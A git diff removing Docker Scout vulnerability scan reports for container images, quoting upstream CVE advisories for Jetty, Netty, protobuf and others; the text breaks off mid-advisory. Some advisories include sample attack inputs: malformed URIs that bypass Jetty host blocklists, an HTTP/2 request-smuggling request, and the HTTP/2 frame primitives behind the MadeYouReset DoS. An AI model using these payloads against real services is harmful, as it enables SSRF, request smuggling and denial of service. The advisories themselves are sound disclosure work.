10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 busybox 1.36.1-r31 (apk) - -pkg:apk/alpine/busybox@1.36.1-r31?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r31
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/avro/sysds_output4.md b/docker/scout_results/avro/sysds_output4.md deleted file mode 100644 index d0574f68292..00000000000 --- a/docker/scout_results/avro/sysds_output4.md +++ /dev/null @@ -1,3028 +0,0 @@ - i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli - ...Storing image for indexing - ✓ Image stored for indexing - ...Indexing - ✓ Indexed 353 packages - ✗ Detected 42 vulnerable packages with a total of 74 vulnerabilities -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:885db09e90488082517ee48f8385f59d69f0b0ab21bf8606c4de047c9086fb6a
vulnerabilitiescritical: 3 high: 30 medium: 41 low: 10 unspecified: 1
platformlinux/amd64
size380 MB
packages353
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.325%
EPSS Percentile55th percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) - -pkg:maven/org.apache.kerby/kerb-admin@1.0.1
-critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.189%
EPSS Percentile41st percentile
- -
Description -
- -An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-critical : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.081%
EPSS Percentile24th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) - -pkg:maven/org.codehaus.jettison/jettison@1.1
-high 7.5: CVE--2023--1436 Uncontrolled Recursion - - - - - - - - -
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.026%
EPSS Percentile6th percentile
- -
Description -
- -An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. - -
-
- -high 7.5: CVE--2022--45693 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. - -
-
- -high 7.5: CVE--2022--45685 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. - -
-
- -high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. - -
-
- -medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow - - - - - - - - -
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. - -
-
-
-
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
-high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
- -
Description -
- -Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” - -### MadeYouReset Vulnerability Summary -The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. - -### Mechanism -The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). -The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: -1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) -2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) -3. PRIORITY frame with a length other than 5. (section 6.3) -From our experience, the primitives are likely to exist in the decreasing order listed above. -Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. - -The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the 